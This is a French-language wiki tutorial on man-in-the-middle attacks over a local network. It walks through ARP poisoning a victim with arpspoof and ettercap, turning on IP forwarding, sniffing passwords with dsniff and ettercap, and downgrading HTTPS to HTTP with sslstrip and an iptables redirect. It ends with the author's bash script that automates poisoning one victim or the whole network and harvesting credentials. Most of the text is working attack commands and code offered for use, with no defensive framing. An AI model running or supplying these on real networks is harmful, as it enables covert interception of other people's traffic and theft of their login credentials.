**Man in the Middle**
Le MITM est une technique réseau consistant à "sniffer" une connexion réseau pour voir ce qu'il se passe dessus.
Pour cette technique nous aurons besoins des outils suivants :
- Spoofing arp :
. arpspoof
. ettercap
- Sniffing :
. ettercap
. tcpdump
. dsniff
. sslstrip (spécialement pour le https)
Arpspoofing ou arp poisonning est une technique qui permet à l'attaquant de détourner des flux de communications transitant entre une machine cible et une passerelle.
Cette attaque utilise le protocole ARP.
Tout d'abord nous allons faire croire à notre victime que la passerelle a changé d'adresse mac grâce à l'outil arpspoof
arpspoof -r -t 192.168.1.10 192.168.1.1 -i wlan0
L'option : -r sert à empoisonner la cible pour récupérer le trafic entrant et sortant
L'option : -t sert à désigner la cible
192.168.1.10 est l'adresse ip de la victime
192.168.1.1 est l'adresse de la passerelle
wlan0 notre interface réseau
{{ :reseau:arpspoof.png?nolink |}}
Activez l'ip forwarding sinon votre cible sera déconnectée d'internet
echo 1 > /proc/sys/net/ipv4/ip_forward
A partir de cet instant tout le trafic de la victime transite par votre machine.
Plusieurs outils s'offrent à vous :
- Dsniff va vous afficher uniquement les identifiants des authentifications des protocoles non chiffrés (http , ftp , telnet...)
- Ettercap et tcpdump capturent tous les paquets, suivant les filtres que vous mettrez vous aurez des résultats différents.
Exemple avec Dsniff :
Dsniff -i interface
Exemple avec Ettercap en ligne de commande :
ettercap -T -M ARP -q /ip_cible/ // -i interface
L'option -T permet d'utiliser Ettercap en ligne de commande
L'option -M signifie MITM avec ARP
L'option -q permet de diminuer la verbosité
Attention si vous utilisez Ettercap assurez vous que les lignes suivantes soit dé-commentées dans le fichier /etc/ettercap/etter.conf
# if you use iptables:
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
L'outil SSLSTRIP : est un outil qui permet de forcer la connexion de la victime à passer de l'HTTPS à l'HTTP si le site le permet.
Contrairement à d'autres outils tels que mitmproxy ou ettercap , sslstrip ne créer pas de faux certificats -> pas de message d'erreur pour la victime.
**Utilisation :**
Il faut tout d'abord créer une règle iptable pour laisser passer le trafic.
Par défaut sslstrip utilise le port 10 000. Nous utiliserons le 15 000.
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 15000
sslstrip -w log.txt -a -l 15000 -f
L'option -w permet de logguer toutes les informations dans un fichier
L'option -a permet de logguer tout le traffic
L'option -l permet de choisir le port (dans notre cas 15 000)
L'option -f permet d''afficher le favicone cadenas sur la page de la victime.
Voici un petit outil développé par mes soins pour automatiser ce genre d'action :
echo "#################################"
echo "# Programme de MITM automatique #"
echo "#################################"
echo "Entrez l'interface sur laquel vous voulez faire le MTIM :"
read interface
echo 1 > /proc/sys/net/ipv4/ip_forward
mon_ip=`ifconfig $interface | grep ' inet adr' | cut -d : -f2 | awk '{print $1}'`
passerelle=`route -n | egrep "^0.0.0.0 +[[:digit:].]+ +0.0.0.0" | awk '{print $2}'`
Ps3="Que voulez vous ? "
select choix in \
"Spoofing arp pour tous le monde" \
"Spoofing arp pour une seul personne " \
"Sniffer les mots de passe ettercap" \
"Sniffer les mots de passe dsniff" \
"SSLSTRIP" \
"Mon ip " \
"Ma passerelle " \
"Commande systeme " \
"Quitter"
do
case $REPLY in
1) echo "Arpspoof pour tous" ; ettercap -T -M ARP -q // // -i $interface >> arp.txt & ;;
2) echo "Entrez l'ip de la victime "; read ip_victime ;arpspoof -i $interface -r -t $ip_victime $passerelle &;;
3) ettercap -T -q -i $interface | grep 'http' &;;
4) dsniff -i $interface -w dpass.txt & ;;
5) sslstrip -w log.txt -a -l 15000 -f & ;;
6) echo $mon_ip;;
7) echo $passerelle;;
8) echo " Commande systeme :"; read cmd ; $cmd;;
9) echo "On abandonne ..."
break ;;
*) echo "Choix invalide" ;;
esac
done